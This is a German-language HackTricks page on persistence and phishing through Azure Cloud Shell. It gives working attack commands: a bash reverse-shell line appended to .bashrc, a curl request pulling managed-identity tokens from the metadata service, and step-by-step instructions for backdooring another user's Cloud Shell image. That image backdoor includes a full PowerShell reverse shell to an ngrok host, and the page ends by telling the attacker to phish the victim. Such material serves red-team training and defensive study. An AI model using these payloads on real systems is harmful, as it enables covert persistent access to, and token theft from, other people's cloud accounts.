Az - Cloud Shell Persistence

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cloud Shell Persistence

Azure Cloud Shell bietet Befehlszeilenzugriff zur Verwaltung von Azure-Ressourcen mit persistentem Speicher und automatischer Authentifizierung. Angreifer können dies ausnutzen, indem sie Hintertüren im persistenten Home-Verzeichnis platzieren:

  • Persistenter Speicher: Das Home-Verzeichnis von Azure Cloud Shell ist auf einem Azure-Dateifreigabe gemountet und bleibt auch nach dem Ende der Sitzung intakt.
  • Startskripte: Dateien wie .bashrc oder config/PowerShell/Microsoft.PowerShell_profile.ps1 werden automatisch zu Beginn jeder Sitzung ausgeführt, was eine persistente Ausführung beim Start der Cloud Shell ermöglicht.

Beispiel-Hintertür in .bashrc:

bash
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc

Diese Hintertür kann Befehle sogar 5 Minuten nach dem Abschluss der Cloud-Shell durch den Benutzer ausführen.

Zusätzlich wird der Azure-Metadatenservice nach Instanzdetails und Tokens abgefragt:

bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s

Cloud Shell Phishing

Wenn ein Angreifer Bilder anderer Benutzer in einem Storage Account findet, auf den er Schreib- und Lesezugriff hat, kann er das Bild herunterladen, eine Bash- und PS-Hintertür hinzufügen und es zurück in den Storage Account hochladen, sodass beim nächsten Zugriff des Benutzers auf die Shell die Befehle automatisch ausgeführt werden.

  • Download, Hintertür und Hochladen des Bildes:
bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>

# Mount the image
mkdir /tmp/backdoor_img
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
cd /tmp/backdoor_img

# Create backdoor
mkdir .config
mkdir .config/PowerShell
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Unmount
cd /tmp
sudo umount /tmp/backdoor_img

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
  • Dann, phish den Benutzer, um auf https://shell.azure.com/

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks